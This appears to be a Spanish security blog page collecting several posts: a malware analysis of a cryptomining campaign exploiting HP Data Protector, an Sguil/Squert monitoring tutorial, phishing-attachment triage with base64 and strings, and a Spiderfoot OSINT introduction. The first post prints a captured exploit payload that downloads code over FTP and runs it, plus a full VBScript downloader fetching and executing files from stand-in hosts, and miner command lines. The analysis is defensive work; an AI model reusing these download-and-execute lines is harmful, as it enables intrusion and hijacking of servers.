¿Qué son los Bitcoins?

Pare que tengamos algunas nociones sobre lo que son los bitcoins, acudimos a bitcoin.org para encontrar una definición. Según aparece en este sitio web “Bitcoin es una innovadora red de pagos y un nuevo tipo de dinero”.  Se trata de un sistema que opera sin un organismo como autoridad central sobre tecnología peer-to-peer, la gestión de las transacciones y la emisión de la cryptomoneda se realiza colectivamente por los integrantes de la red.

¿Como consigo bitcoins?

Esto funciona como el dinero ordinario: o bien existe una transferencia por parte de otra persona/empresa/entidad, o (y en esto si difiere en gran medida del dinero corriente) se obtienen como recompensa desde el sistema monetario virtual a cambio de formar parte de dicho sistema procesando “bloques”. Para ello se utiliza un software específico que ejecuta funciones criptográficas.

¿Por qué no somos todos ricos si podemos generar bitcoins?

El esfuerzo computacional que requiere la creación (minado) de bitcoins es tal que no  resulta rentable la inversión en hardware y consumo de energía respecto al beneficio que se obtiene.

¿Dónde almaceno mis bitcoins?

En una cartera virtual.

Proceso de infección

Ahora que sabemos como utilizar los bitcoins, puede surgir la idea de por qué no aprovechar la capacidad de algunos de los millones de servidores conectados a Internet y que no están lo suficientemente protegidos para generar unos cuantos bitcoins para nuestra cartera.

El principal objetivo de un atacante sería comprometer el mayor número posible de servidores para que trabajen minando criptomoneda para él. En el caso que nos ocupa, los objetivos son servidores con el software de backup HP Data Protector instalado y que no cuenten con todos los parches correspondientes aplicados.

Una vez localizado un servidor que cumple esas características, se ejecuta el correspondiente exploit, que continua con la descarga una serie de scripts y binarios (existe versión para Windows y para Linux) en el servidor. Estos consiguen asegurar la persistencia del malware e instalan el software encargado de producir la criptomoneda que se ejecutará como un proceso más en el sistema.

Resumen

En el caso que estamos tratando, observamos el intento de intrusión en una de las alertas recibidas en el IDS:

ETPRO EXPLOIT HP Data Protector Remote command execution
IPv4: XX.XX.XX.XX -> YY.YY.YY.YY
TCP: port=1201 -> dport: 5555
Payload: …
\perl.exe -esystem('cmd.exe /c echo open XX.XX.XX.XX>f&echo AA>>f&echo BB>>f&echo bin>>f&echo get CC.zip>>f&echo bye>>f&ftp -s:f&cscript.exe /b /e:VBScript.Encode zxhp.zip&del /f/q f&exit')

En este caso el atacante intenta explotar una vulnerabilidad de ejecución remota de código en HP Data Protector (HP Data Protector could allow a remote attacker to execute arbitrary commands on the system. By sending a specially-crafted request to TCP port 5555, an attacker could exploit this vulnerability to execute arbitrary commands on the system. References: [XFDB-94504]), para descargar y ejecutar en el servidor comprometido varios scripts.

Lo que hemos capturado aquí es la parte post explotación en la que se ejecuta la rutina de descarga e instalación del payload. Siguiendo la ejecución de la línea de comandos vemos que realiza una conexión autenticada (usuario: AA, contraseña:BB) a un servidor ftp y descarga un fichero CC.zip. Dicho fichero no se encuentra en formato .zip, sino que realmente consiste en un script codificado como VBE (Visual Basic Environment). Finalmente ejecuta este fichero en el servidor para después se eliminarse del disco.

La ejecución del script anterior lanza la descarga de varios ficheros más, entre los que se encuentra el binario que realizará en minado de la criptomoneda. Estos scripts son los encargados de asegurar la persistencia del malware en el servidor y realizar la instalación y configuración del ejecutable.

Detalles

Si entramos a analizar en algo más de detalle el script que inicia las descargas, veremos que realiza diferentes comprobaciones en el sistema usando WMI, en este post nos centraremos en el caso en que se trata de un equipo objetivo “occidental” (versión Windows, no configurado en idioma Chino, ni ubicado en China).

En ese caso el script CC.zip, después de las comprobaciones realizadas sobre el sistema realiza la descarga de tres ficheros más:

On Error Resume Next
Dim OSlag,OSver,numcpus,objOutParams,objWMIREGService
Set objWMIREGService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\DEFAULT:StdRegProv")
objOutParams = objWMIREGService.GetStringValue(&H80000002, "SYSTEM\CurrentControlSet\Control\Nls\Language", "Default",OSlag)
objOutParams = objWMIREGService.GetStringValue(&H80000002, "SOFTWARE\Microsoft\Windows NT\CurrentVersion", "CurrentVersion",OSver)
objOutParams = objWMIREGService.GetStringValue(&H80000002, "SYSTEM\CurrentControlSet\Control\Session Manager\Environment", "NUMBER_OF_PROCESSORS",numcpus)
notincn = outcn()

If WScript.Arguments.Count > 0 Then
    bji=WScript.Arguments(0)
Else
    bji="NOTDEF"
End If

If OSlag = "0804" Or OSlag = "0c04" Then
    If OSver = "5.2" And notincn = 0 Then
        wlog(bji + "-CN-" + OSlag)
        dl "http://AAA.com/cnmofb.zip","C:\Windows\System32\wbem\MOF\15.log"
    ElseIf notincn = 1 Then
        wlog(bji + "-CN-OUT-" + OSlag)
        dl "http://AAA.com/usmofb2.zip","C:\Windows\System32\wbem\MOF\15.log"
        dl "http://AAA.com/usmofb2.zip","c:\windows\temp\iisstt.dat"
        runprg "mofcomp.exe c:\windows\temp\iisstt.dat"
    End If

    If yxsj() < 9 Then
        dl "http://AAA.com/dlve.zip","c:\windows\temp\idt.zip"
        run "cmd.exe /c cscript.exe /b /e:VBScript.Encode c:\windows\temp\idt.zip&%windir%\TEMP\ist.bat"
    Else
        dl "http://AAA.com/dl.zip","c:\windows\temp\isst.zip"
        runprg "cmd.exe /c cscript.exe /b /e:VBScript.Encode %windir%\temp\isst.zip&%windir%\TEMP\sst.bat"
    End If
    WScript.Quit
Else
        wlog(bji + "-USA-" + OSlag)
        dl "http://AAA.com/usmofb2.zip","C:\Windows\System32\wbem\MOF\15.log"
        dl "http://AAA.com/usmofb2.zip","c:\windows\temp\iisstt.dat"
        runprg "mofcomp.exe c:\windows\temp\iisstt.dat"
        dl "http://XX.XX.XX.XX:89/zxdl.zip","c:\windows\temp\isst.zip"
        runprg "cmd.exe /c cscript.exe /b /e:VBScript.Encode c:\windows\temp\isst.zip&%windir%\TEMP\sst.bat"
End If

• mof.zip: Se trata de un fichero MOF que posteriormente se compila/instala en el servidor objetivo. No está muy clara su función porque en posteriores versiones se elimina.
• DD.zip: Una copia del fichero anterior que se guarda en otro directorio.
• EE.zip: Fichero en formato VBE que realiza la descarga de un fichero .bat y un fichero .exe en formato 32 o 64 bits dependiendo de la arquitectura del sistema, que posteriormente se renombra una vez copiado en el sistema.

El ejecutable descargado que se encargará de generar los bitcoins se renombra del original (32.exe o 64.exe) a “mstdc.exe”. Este nombre no ha sido elegido al azar; existe un ejecutable legítimo en sistemas Windows, concretamente Microsoft Distributed Transaction Coordinator requerido por HP Data Protector y otras aplicaciones como Microsoft Exchange o SQL Server instalados en clusters, y el fichero ejecutable se llama “msdtc.exe”.

Otro de los ficheros descargados por EE.zip es un .bat que se encarga de realizar las conexiones con el pool de criptomoneda (XCN o Sharkcoin) y crear una tarea programada que cada hora reinicia dichas conexiones.

La operación de instalación del malware es a su vez registrada en un fichero de log en la carpeta de Windows.

Durante el análisis se encontraron varias versiones del fichero con contenidos ligeramente diferentes, lo que parece indicar una evolución en el procedimiento de instalación.

Conexión a bitcoin pool

El malware realiza tres conexiones al pool de criptomoneda:

mstdc.exe -a m7 -o stratum+tcp://POOL:7333 -u  -p x --retries 5 --retry-pause=20
mstdc.exe -a m7 -o stratum+tcp://POOL:7333 -u  -p x --retries 2 --retry-pause=20
mstdc.exe -a m7 -o stratum+tcp://POOL:7333 -u  -p x --retries 2 --retry-pause=20

Los beneficios obtenidos se almacenan en una cartera (WALLET), donde se recoge la recaudación de todos los equipos comprometidos. Después de realizar el seguimiento del saldo de la cartera durante unas semanas, podemos ver la evolución y vemos que se forma una gráfica con dientes de sierra, que probablemente indica movimientos periódicos de fondos siendo transferidos a otra cartera diferente para hacer más difícil su seguimiento.

En un mes podemos constatar que se movieron un total de 2.751.113 XCN que en el mercado podemos cambiar a 8,33587 BTC y que a su vez equivalen a unos 3066 EUR, una cantidad nada despreciable.

 Técnicas utilizadas

• Selección de los servidores objetivo:
  • Vulnerabilidad detectada en software de backup.
  • Distinción por ubicación geográfica, idioma y tiempo en funcionamiento.
  • Versiones según sistema operativo (Windows o Linux) y arquitectura 32/64 bits.
• Técnicas de ofuscación:
  • Falsas extensiones para archivos descargados.
  • Codificación no ASCII para evitar fácil detección.
  • Uso de nombres de ejecutable engañosos para intentar ocultar el proceso malicioso.
  • Descarga usando User-Agents que puedan pasar “desapercibidos” en un log.
  • Uso de criptomoneda para monetizar la intrusión seguramente en varios niveles para evitar trazabilidad.

Conclusión

Aún no tratándose de una amenaza nueva ni avanzada, los primeros casos se remontan a 2011, este tipo de acciones pueden pasar inicialmente desapercibidas para la víctima. La baja inversión en recursos a la hora de mantener y desplegar el malware, puede convertir este tipo de acciones en una buena fuente de financiación para actividades ilegales.

Nota: se han modificado algunas URL así como nombres de fichero del ejemplo.

MD5

32.exe: abe32f01ecd149e0b0820651a4845eb6

64.exe: bff31a498733f3a3e35acf82941d24a7

Referencias

• https://bitcoin.org/en/
• http://bitcoinwatch.com/
• https://bter.com/trade/xcn_btc
• http://www.xe.com/currencyconverter/

En pleno auge de los blogs y el mundo blogger, WordPress se posicionaba como una buena alternativa para el desarrollo rápido y con un diseño atrayente, de sitios web dedicados a este fin.

Timthumb se creó en 2009 como un complemento de visualización de imágenes para sitios web desarrollados en WordPress. Consistía en un plugin que permitía redimensionar una imagen a partir de un original en formato gif,jpg o png, de forma dinámica, facilitando la posibilidad de mostrar miniaturas en el tamaño elegido y que se adaptara a nuestra página, partiendo de una imagen de un tamaño mayor.

[Read more…]

Hace unos meses que muchos usuarios están sufriendo en sus propias carnes la amenaza de los ransomware, un malware que se instala en nuestro ordenador y muy eficientemente elige ciertos tipos de ficheros (los que más nos suelen importar: documentos de texto, fotografías, vídeos, hojas de cálculo, bases de datos, etc..) y los cifra, para posteriormente mostrarnos un llamativo mensaje invitándonos a pagar un rescate a cambio del software necesario para descifrar dichos archivos.

La situación es complicada, pero pagar el rescate tampoco asegura la recuperación de los datos. La única solución realmente efectiva es tener una copia de seguridad actualizada e ir con más cuidado la próxima vez.

[Read more…]

Dentro de la seguridad informática aplicada a la empresa, uno de los principales puntos que ha de cubrirse es la monitorización y vigilancia a nivel de red. Hay que monitorizar los datos que entran a través del perímetro, los datos que salen de la compañía y el tráfico entre equipos dentro de nuestra red. Esta disciplina es lo que se ha dado en llamar NSM (Network Security Monitoring) y que algunos hemos conocido de la mano de Richard Bejtlich y su libro “The Tao of network security monitoring”.

Pues bien, en este post he decidido presentar una pequeña introducción sobre una herramienta que puede hacernos la vida más fácil en esto de la monitorización de la seguridad de una red: Squert. Pero para poder entrar a ver qué es Squert, primero tendremos que dar unas pequeñas pinceladas de su “padre” Sguil.

Sguil

Sguil es un consola de análisis de eventos de red diseñada por y para analistas, compuesta de varios sistemas que conjuntamente nos ayudan a monitorizar la seguridad de una red de ordenadores. Además del acceso a eventos en tiempo real, nos proporciona datos de sesión y capturas de paquetes de red. Desde su interfaz podemos visualizar dichos datos, e incluso tenemos también capacidades de gestión y clasificación de dichos eventos.

En la siguiente tabla podemos ver los componentes en los que se apoya SGUIL para la recogida y presentación de los datos:

Posee una estructura de cliente-servidor en la que los sensores (clientes) monitorizan los enlaces de red (snort, SANCP) y envían los datos al servidor de Sguil donde se almacenan en una base de datos para su posterior tratamiento. Podemos visualizar dicha información mediante un interfaz gráfico multiplataforma escrito en TCL/TK.

SQUERT (Simple QUEry and Report Tool)

Nació como una evolución de Sguil, añadiendo un interfaz web para visualizar y consultar los datos almacenados en una base de datos de Sguil. El nuevo interfaz mejora la usabilidad y hace el entorno más amigable, añadiendo a su vez nuevas funcionalidades a una herramienta ya de por sí muy útil.

Desde el interfaz de SQUERT podemos tener una visión global de lo que está pasando en nuestra red, actualmente Squert puede agrupar y visualizar alertas de nuestro network IDS (snort/suricata), alertas de host IDS proporcionadas desde OSSEC, PADs (Passive Asset Detection) y eventos procedentes de logs de Bro. La combinación de toda esta información puede ayudarnos a tener una visión más completa de lo que pasa en nuestros sistemas y determinar ante un incidente de seguridad los posibles equipos afectados, conexiones anómalas, etc.

Interfaz Web

Iniciaremos sesión con las credenciales que hayamos definido en la base de datos de Sguil.

La pantalla principal tiene un diseño claro, dando protagonismo al listado de eventos que aparece en posición central. Los filtros temporales aparecen en la parte superior y la barra lateral agrupa las estadísticas de eventos agrupados por tipos (grouping) y la activación de agrupado de eventos por tipo, o la visualización de la cola de eventos por categorizar (queue only).

Alertas

En el listado de alertas se agrupan todos los tipos definidos (NIDS + HIDS + PADS + OSSEC + BRO), una vez pinchamos encima de una de las alertas obtenemos un detalle de la firma que ha sido “activada”, el fichero de reglas en que se encuentra y los eventos clasificados por direcciones IP origen.

El número que aparece en la parte izquierda de la alerta indica el numero de eventos totales que han sido agrupados (si tenemos activado el grouping), por lo que haciendo clic encima, se desplegará el listado completo. En este caso se trata de una alerta de descarga de un fichero ejecutable EXE o DLL, y vemos que hay 2 eventos agrupados, la regla que ha activado la detección, la dirección IP origen, puerto y la dirección IP destino.

Si seguimos investigando y hacemos clic encima del ID del evento, se mostrará una transcripción del contenido de los paquetes de red capturado, donde podemos identificar claramente que se trata de la descarga de un fichero ejecutable.

El texto en color negro es el resultado de la ejecución de la herramienta p0f, identificando el SO. El resto del texto en azul y rojo es la conversación http extraída de la captura de red.

Llegado este momento en el que hemos descubierto un comportamiento malicioso y que puede deberse al compromiso del equipo analizado, podemos clasificar la alerta y continuar con el análisis del incidente, Squert sigue la misma clasificación que Sguil.

Podemos categorizar la alerta mediante el teclado (F1,F2,F3…) o seleccionando la alerta y pinchando en el icono de comentarios, que abrirá una ventana donde podremos seleccionar la categoría y añadir un comentario descriptivo si lo creemos oportuno.

Una vez categorizados los eventos, estos desaparecen de la cola y aparecen en las estadísticas de la categoría seleccionada.

Squert nos ofrece también la opción de crear reglas que nos permitirían categorizar automáticamente las alertas que van entrando en el sistema.

Una vez categorizada la alerta, en este caso nos sería de gran ayuda para continuar con nuestra investigación recuperar el ejecutable descargado. Si tenemos activada la opción de captura de paquetes podemos hacerlo desde ELSA.

ELSA es un framework de análisis de logs centralizado, que puede integrarse con Squert, para poder realizar búsquedas directamente sobre los logs almacenados. Haciendo clic sobre un elemento de la alerta, en este caso sobre el nombre de la firma de snort activada, vemos un submenú que incluye un enlace a una búsqueda externa en ELSA.

Siguiendo el enlace se abrirá una nueva pestaña en el navegador con el interfaz de conexión de ELSA, una vez iniciemos sesión, seleccionamos la tabla sobre la que queremos realizar la búsqueda, en nuestro caso “snort”.

Y obtendremos un listado con los registros resultantes de la búsqueda:

Desde la consulta de ELSA al hacer clic en el enlace “info” conectaremos con seleccionar más información y desde ahí se abrirá capme, un complemento de Squert que nos ayudará a recuperar la captura de red realizada en formato pcap y que posteriormente podremos abrir con wireshark para extraer el fichero descargado.

SUMMARY

Otra de las principales mejoras aportadas por Squert es la visualización de los datos y estadísticas. En esta segunda pantalla llamada Summary, tendremos una visión global de los ataques recibidos, estadísticas de las alertas más detectadas, direcciones IP origen de los atacantes más activos, direcciones IP de los hosts más atacados, etc.

VIEWS

En esta pantalla la información se centra principalmente en dar una visión rápida de las conexiones realizadas, mostrando las direcciones IP y la geolocalización de estas.

Referencias

• Squert by Paul Halliday
• Sguil by Bamm Visscher, Steve Halligan.

Casi diariamente nos topamos con notificaciones de phishing que llegan a la oficina, algunas llegan con un adjunto, generalmente en formato pdf o en algún formato de la suite Office (doc,xls,ppt ) y sus derivados. Este caso despertó mi interés y decidí investigar un poco más allá de la simple detección y bloqueo de URLs o adjuntos.
Esta vez el correo electrónico llegaba escrito en inglés, y diciendo algo sobre un recibo no devuelto, que amablemente nos remitían para que lo pudiéramos abonar.

El email en cuestión era éste:

origen: 	billing@logmein.com
asunto: 	Automatic payment failed - Credit Card rejected
adjunto: 	invoice_723961.doc

Dear customer,
 
Your subscription for LogMeIn Central Plus service will end within 72 hours.
You are receiving this notification because the automatic payment has failed.(Credit card: declined)
For more information, please find the payment invoice attached to this letter.
Payment must be submitted before 21/02/2015, in order to avoid delays and service interruptions.

Thank you for using LogMeIn
Copyright © 2003-2015 LogMeIn, Inc. All rights reserved.

[Read more…]

En nuestro trabajo alguna vez nos han llegado correos electrónicos reenviados por clientes en referencia a mensajes sospechosos recibidos, supuestamente desde un banco en el que ni siquiera tienen cuenta corriente, y que incluyen ficheros adjuntos. Este tipo de correos suelen formar parte de campañas de phishing e incorporan contenido “no deseado” y peligroso que puede comprometer nuestros ordenadores.

Cuando el correo nos llega con el adjunto original, el trabajo de determinar si se trata de un fichero malicioso es más sencillo, por lo que podemos pasar directamente a la revisión inicial (PASO 2) antes de proceder a un análisis más exhaustivo. En caso de que el adjunto nos llegue embebido en el mensaje de texto, la cosa es un poco más entretenida, pero no por ello más complicada. En ese caso debemos hacer la extracción previa del documento (PASO 1) para continuar con el análisis. Veamos en detalle ambos pasos.

PASO 1

Cuando abrimos el email un primer vistazo a las cabeceras del mensaje nos revelará su origen, los servidores por los que ha pasado hasta llegar al servidor de nuestra empresa, la dirección IP del presunto ordenador origen del mensaje e incluso el cliente de correo utilizado para enviarlo.

Tras recopilar estos primeros datos, nos centramos en el contenido. Por las referencias sabemos que el email contenía un fichero adjunto en formato .doc, pero lo único que aparece en el email es una ristra de caracteres y ni rastro del típico icono de adjunto de correo.

Con un par de herramientas (base64 y strings) disponibles en la mayoría de distribuciones Linux, veremos como podemos devolver esta cadena de texto a su formato original y determinar, con un poco de suerte, si se trata de un documento malicioso.

Pero primero… un poco de teoría

El envío de correos electrónicos se realiza mediante el uso del protocolo SMTP (Simple Mail Transfer Protocol), un protocolo de red basado en el intercambio de mensajes de texto ASCII. Para poder enviar contenido binario, como puede ser un fichero en formato Microsoft Word, una imagen o un video, debemos transformarlo primero en una cadena de caracteres ASCII. De esto se encarga el cliente de correo que tengamos instalado en nuestro ordenador, siguiendo la especificación MIME (Multipurpose Internet Mail Extension) RFC 2045, que define cómo hacer dicha transformación y como incluir el texto codificado en el mensaje que vamos a enviar.

Volviendo a nuestro caso, conociendo de la existencia de MIME, ahora empezamos a distinguir las diferentes partes del correo:

Como podemos ver el contenido codificado esta dividido en secciones delimitadas por cadenas de caracteres al inicio y al final de cada sección, incluyendo además una pequeña cabecera que define del tipo de contenido y la codificación utilizada para transformar el objeto incrustado en texto ASCII.

El documento que nos interesa esta contenido en la sección delimitada por la cadena “--CbLIQalKQ1fedAaw3iKcHsdLkb0wA=_ZHM”. Para poder extraerlo, basta con copiar toda cadena de caracteres que aparece después de la cabecera de la sección en un nuevo documento de texto y decodificarla usando el algoritmo de codificación base64.

$ base64 -d texto_codificado.txt > Documento_doc.sospechoso

Podemos comprobar que el resultado obtenido es realmente un documento en formato Microsoft Office Word mediante el comando file:

$ file Documento_doc.infectado
Documento_doc.infectado: Composite Document File V2 Document, Little
Endian, Os: Windows, Version 6.1, Code page: 1252, Author: clein, 
...

PASO 2

IMPORTANTE: No abrir el documento con la aplicación por defecto (Microsoft Word). Aunque podría ser inofensivo, es mejor no arriesgarse. Podemos echarle un vistazo inicial usando un editor alternativo, para determinar si hay algo interesante que nos pueda dar una idea de su contenido, o usando el comando strings, que nos dará una visión inicial del contenido del fichero. Strings nos mostrará por pantalla todas las cadenas de texto ASCII que contenga el fichero, entre las que puede que haber contenido que nos ayude a determinar si el fichero es malicioso y por lo tanto continuar con su análisis más en profundidad, o simplemente descartarlo.

$ strings -a Documento_doc.sospechoso

El resultado de la ejecución del comando anterior es el siguiente:

Como puede deducirse de la imagen anterior, tenemos suficientes indicios para concluir que se trata de un archivo con contenido malicioso y que puede ser objeto de posterior análisis si se considera necesario. Tengamos en cuenta que:

• Normalmente no es necesario el uso de macros en un documento Word que contiene datos estáticos.
• Que el documento incluya comandos para la ejecución de ficheros en el sistema es indicativo de comportamiento malicioso.
• La inclusión de URLs a sitios externos y que enlazan directamente con ejecutables suele ser típico de downloaders: software que descarga el malware y lo ejecuta para que se instale.

Hemos visto como usando un par de herramientas disponibles en cualquier distribución de Linux y algunos conocimientos básicos de seguridad, podemos llegar a determinar fácilmente, si un fichero adjunto es malicioso.

Hace un par de semanas llegó a mis oídos la existencia de una herramienta open source que nos puede ser útil a la hora de realizar las primeras fases de un pentesting: reconocimiento y mapping de servicios. Realizar estas primeros pasos de forma concienzuda puede hacer que las siguientes fases de nuestro pentesting puedan ser más dirigidas y eficaces a la hora de encontrar las posibles vulnerabilidades de nuestro objetivo.

Spiderfoot, es una herramienta open source creada por Steve Micallef (@binarypool) que fue publicada por primera vez en el año 2005 y llegó a formar parte del temario de la certificación de hacking ético (CEH) durante 2009.

La primera versión estaba escrita en C#. A partir de ahí hubo un paréntesis de 7 años en su desarrollo hasta que en el 2012 el autor decidió retomar el proyecto y hacerla más portable, funcional y extensible, reescribiéndola enteramente en Python, dotándola de un interfaz web y almacenando los datos de los resultados en una base de datos SQlite3.

A día de hoy la versión publicada es la 2.1.5 y sigue en continua evolución y está disponible para Windows y para Linux.

Spiderfoot cuenta con varios módulos dedicados a recoger información y tratarla extrayendo datos relevantes de distintos ámbitos (dns, contenido web, whois, Virustotal, Shodan, etc.) que nos serán de utilidad a la hora de realizar tareas de OSINT (Open Source Intelligence).

Los módulos reciben ciertos elementos (URL, códigos http, direcciones de correo electrónico) en forma de eventos, y entonces actúan sobre ellos para que a su vez generen nuevos eventos que serán consumidos por otros módulos de la aplicación.

Entre los módulos disponibles, está sfp_dns que realiza búsquedas a partir de las ips/URLs introducidas, sobre servidores DNS obteniendo direcciones ip, registros MX/NS, etc. También cuenta con el módulo sfp_spider que inspeccionará todas las páginas de un sitio web extrayendo su contenido para usarlo en posteriores búsquedas.

Instalación

Si la instalamos sobre un sistema operativo Linux, la aplicación está escrita en Python 2.6-2.7, por lo que necesitaremos esta versión para ejecutar la aplicación, así como instalar las siguientes dependencias, que pueden ser instaladas usando el gestor de paquetes de Python PIP.

$sudo pip install lxml
$sudo pip install netaddr
$sudo pip install M2Crypto
$sudo pip install cherrypy
$sudo pip install mako

Una vez instaladas las dependencias descargaremos el código de la aplicación:

git clone https://github.com/smicallef/spiderfoot.git

Tras esto ejecutaremos la aplicación usando el interprete de Python. Si no especificamos el puerto en que estará escuchando el servidor como parámetro en el momento de la ejecución, por defecto lo hará en el puerto 5001/tcp:

cd spiderfoot/
$sudo python ./sf.py 127.0.0.1:6666

En caso de instalarlo sobre un sistema Windows, todas las dependencias vienen incluidas en el ejecutable de instalación. Una vez ejecutado el servidor podremos acceder al interfaz apuntando nuestro navegador a la ip y puerto seleccionado.

En la primera página podremos configurar los escaneos; spiderfoot proporciona un alto nivel de granularidad a la hora de seleccionar los campos sobre los que se recogerá información. Podremos seleccionarlos por elemento (Imagen 1) o por módulo (Imagen 2).

En el apartado de settings podremos configurar entre otro nuestra clave API de virus Total, Shodan, parámetros de las consultas DNS, puertos a escanear, y una multitud de opciones que iremos viendo más adelante.

Y con esta breve introducción finaliza la primera parte. En siguientes artículos entraremos en profundidad en otros aspectos y utilidades de esta herramienta.